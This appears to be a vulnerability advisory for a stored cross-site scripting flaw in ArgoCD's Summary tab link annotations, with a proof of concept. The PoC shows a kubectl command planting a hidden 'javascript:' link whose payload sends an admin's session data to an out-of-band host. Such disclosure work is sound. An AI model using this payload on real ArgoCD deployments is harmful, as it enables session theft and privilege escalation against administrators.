Summary A user with application write access (developer role) can set "link.argocd.argoproj.io/*" annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as "<a href>" elements without URL validation. Using the pipe-separator trick ("Display Text | javascript:..."), an attacker can inject a "javascript:" URI while displaying a legitimate-looking label (e.g. "GitHub Repo"). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin. Details Vulnerable sink: "ui/src/app/applications/components/application-summary/application-summary.tsx:277" const parts = (url || '').split('|'); <a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'> {parts[0]} </a> The annotation value is split on "|". "parts[0]" becomes the visible link label; "parts[1]" becomes the "href". No call to "isValidURL()" is made, unlike the protected "ApplicationURLs" component ("application-urls.tsx:72,80") which does validate URLs and blocks "javascript:". The "target='_blank'" opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed "fetch()" calls). Root cause: React 16.x does not block "javascript:" URIs in "href" attributes (this protection was added in React 19). The helper "isValidURL()" exists in "shared/utils.ts" but is not applied to this sink. CSP: ArgoCD's default Content Security Policy is "frame-ancestors 'self'" only — no "script-src", no "connect-src", no "default-src" — providing zero XSS execution mitigation. PoC Prerequisites: Developer role with application write access (e.g. RBAC: "p, role:developer, applications, *, /, allow"). Step 1 — Set malicious annotation as developer: kubectl annotate application <app-name> -n argocd 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))' The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the "javascript:" payload is invisible in the displayed text. Step 2 — Admin opens Summary tab of the annotated application and clicks the link. Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator: // Payload used during testing (Burp Collaborator OOB): fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"}) .then(r => r.json()) .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"})) Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response: {"iss":"argocd","loggedIn":true,"username":"admin"} Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3. Impact - Stored XSS — payload persists in the Kubernetes Application resource until manually removed - Privilege escalation — developer role → admin session hijacking via authenticated API calls - Maximum stealth — the injected link displays as any attacker-chosen text; the "javascript:" href is never visible to the victim - No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses "no-cors" fetch, bypassed by absent "connect-src" CSP) - Any admin or operator who views the Summary tab of the compromised application is affected Credits Discovered and reported by Jan Kahmen ("jan@turingpoint.de" (mailto:jan@turingpoint.de)) — "turingpoint.de" (https://turingpoint.de)